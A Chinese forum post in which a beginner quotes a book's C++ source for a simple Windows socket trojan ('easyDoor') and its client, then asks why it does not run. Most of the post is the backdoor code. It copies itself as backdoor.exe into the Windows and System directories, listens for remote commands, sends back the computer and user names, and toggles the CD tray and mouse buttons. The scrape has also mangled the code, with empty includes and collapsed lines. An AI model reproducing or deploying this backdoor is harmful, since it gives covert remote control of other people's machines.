问题描述
- 用VC编写socket木马的问题
-
下面的是某一本书上我看到的代码服务器端代码如下：
// easyDoor.cpp : Defines the entry point for the console application.
//#include "stdafx.h"
#include
#include
#include#pragma comment (lib, "Winmm")
#pragma comment (lib, "ws2_32")#define HELPMSG "help - Show Help Menu rn"
"getsysinfo - Get SysTem Information"
"open - Open The CDRom rn"
"close - Close The CDRom rn"
"swap - Swap Mouse Button rn"
"restore - Restore Mouse Button rn"
"exit - Quit BdShell"#define NAME_LEN 20
typedef struct _SYS_INFO
{
OSVERSIONINFO OsVer; // 保存操作系统信息
char szComputerName[NAME_LEN]; // 保存计算机名
char szUserName[NAME_LEN]; // 保存当前登录名
}SYS_INFO, *PSYS_INFO;void GetSysInfo(PSYS_INFO SysInfo)
{
unsigned long nSize = MAXBYTE;SysInfo->OsVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&SysInfo->OsVer); GetComputerName(SysInfo->szComputerName, &nSize); nSize = MAXBYTE; GetUserName(SysInfo->szUserName, &nSize);}
VOID SetCdaudio(BOOL bOpen)
{
if ( bOpen )
{
// 打开光驱
mciSendString("set cdaudio door open", NULL, NULL, NULL);
}
else
{
// 关闭光驱
mciSendString("set cdaudio door closed", NULL, NULL, NULL);
}
}VOID SetMouseButton(BOOL bSwap)
{
if ( bSwap)
{
// 交换
SwapMouseButton(TRUE);
}
else
{
// 恢复
SwapMouseButton(FALSE);
}
}BOOL Dispatch(SOCKET sock, char *szCmd)
{
BOOL bRet = FALSE;// 根据不同的命令，完成不同功能 if ( !strcmp(szCmd, "help") ) { send(sock, HELPMSG, strlen(HELPMSG) + sizeof(char), 0); bRet = TRUE; } else if ( !strcmp(szCmd, "getsysinfo")) { SYS_INFO SysInfo = { 0 }; GetSysInfo(&SysInfo); int n = send(sock, (const char *)&SysInfo, sizeof(SYS_INFO), 0); bRet = TRUE; } else if ( !strcmp(szCmd, "open") ) { SetCdaudio(TRUE); bRet = TRUE; } else if ( !strcmp(szCmd, "close") ) { SetCdaudio(FALSE); bRet = TRUE; } else if ( !strcmp(szCmd, "swap") ) { SetMouseButton(TRUE); bRet = TRUE; } else if ( !strcmp(szCmd, "restore") ) { SetMouseButton(FALSE); bRet = TRUE; } return bRet;}
void CopySelf()
{
// 保存自身程序的路径
char szSelfName[MAX_PATH] = { 0 };
// 保存Windows目录的路径
char szWindowsPath[MAX_PATH] = { 0 };
// 保存系统目录的路径
char szSystemPath[MAX_PATH] = { 0 };
// 临时路径变量
char szTmpPath[MAX_PATH] = { 0 };GetModuleFileName(NULL, szSelfName, MAX_PATH); GetWindowsDirectory(szWindowsPath, MAX_PATH); GetSystemDirectory(szSystemPath, MAX_PATH); strcat(szWindowsPath, "\backdoor.exe"); strcat(szSystemPath, "\backdoor.exe"); CopyFile(szSelfName, szWindowsPath, FALSE); CopyFile(szSelfName, szSystemPath, FALSE);}
int main(int argc, char* argv[])
{
// 拷贝自身到wnidows目录和系统目录
CopySelf();
WSADATA wsaData;WSAStartup(MAKEWORD(2, 2), &wsaData); SOCKET ServerSock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in serveraddr; serveraddr.sin_family = PF_INET; serveraddr.sin_addr.S_un.S_addr = inet_addr("192.168.189.128"); serveraddr.sin_port = htons(827); bind(ServerSock, (SOCKADDR*)&serveraddr, sizeof(sockaddr_in)); listen(ServerSock, 1); printf("Listen ... rn"); sockaddr_in clientaddr; SOCKET clientSock; int len = sizeof(sockaddr_in); clientSock = accept(ServerSock, (SOCKADDR*)&clientaddr, &len); printf("connected host info: rn"); printf("Client ip : %s rn", inet_ntoa(clientaddr.sin_addr)); printf("Client port : %d rn", ntohs(clientaddr.sin_port)); while ( TRUE ) { // 发送一个命令提示 send(clientSock, "BdShell>", strlen("BdShell>") +sizeof(char), 0); char buff[MAXBYTE] = { 0 }; // 接收客户端发来的命令 recv(clientSock, buff, MAXBYTE, 0); if ( !strcmp(buff, "exit") ) { break; } // 分发命令 BOOL bRet = Dispatch(clientSock, buff); if ( bRet == FALSE ) { send(clientSock, "Command Unsuccessfully!", strlen("Command Unsuccessfully!") + sizeof(char), 0); } } closesocket(clientSock); closesocket(ServerSock); WSACleanup(); return 0;}
客户端代码如下：
// easyDoorClient.cpp : Defines the entry point for the console application.
//#include "stdafx.h"
#include
#include
#include#pragma comment (lib, "ws2_32")
#define NAME_LEN 20
typedef struct _SYS_INFO
{
OSVERSIONINFO OsVer; // 保存操作系统信息
char szComputerName[NAME_LEN]; // 保存计算机名
char szUserName[NAME_LEN]; // 保存当前登录名
}SYS_INFO, *PSYS_INFO;VOID ShowSysInfo(PSYS_INFO SysInfo)
{
if ( SysInfo->OsVer.dwPlatformId == VER_PLATFORM_WIN32_NT )
{
if ( SysInfo->OsVer.dwMajorVersion == 5 && SysInfo->OsVer.dwMinorVersion == 1 )
{
printf("Windows XP %s rn", SysInfo->OsVer.szCSDVersion);
}
else if ( SysInfo->OsVer.dwMajorVersion == 5 && SysInfo->OsVer.dwMinorVersion == 0)
{
printf("Windows 2K rn");
}
}
else
{
printf("Ohter System rn");
}printf("Computer Name is %s rn", SysInfo->szComputerName); printf("User Name is %s rn", SysInfo->szUserName);}
int main(int argc, char* argv[])
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);SOCKET ClientSock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr; ServerAddr.sin_family = PF_INET; ServerAddr.sin_addr.S_un.S_addr = inet_addr("192.168.189.128"); ServerAddr.sin_port = htons(827); connect(ClientSock, (SOCKADDR*)&ServerAddr, sizeof(SOCKADDR)); while ( TRUE ) { char Buff[MAXBYTE] = { 0 }; char Cmd[MAXBYTE] = { 0 }; recv(ClientSock, Buff, MAXBYTE, 0); printf("%s", Buff); scanf("%s", Cmd); send(ClientSock, Cmd, MAXBYTE, 0); if ( !strcmp(Cmd, "exit") ) { printf("Login out ! rn"); break; } memset(Buff, 0, MAXBYTE); recv(ClientSock, Buff, MAXBYTE, 0); if ( !strcmp(Cmd, "getsysinfo")) { PSYS_INFO SysInfo = (PSYS_INFO)Buff; ShowSysInfo(SysInfo); } else { printf("%s rn", Buff); } } getch(); WSACleanup(); return 0;}
这个程序是一个简单的木马，可以打开关闭光驱，交换与恢复鼠标左右键功能。由于本人还是socket编程菜鸟一枚，特请教如何运行的时候显示出这些功能？在电脑里同时运行客户端和服务器的debug中的exe文件么？为什么这个代码的功能没能实现？是代码错了么？有大神帮忙解释一下的话非常感谢！！！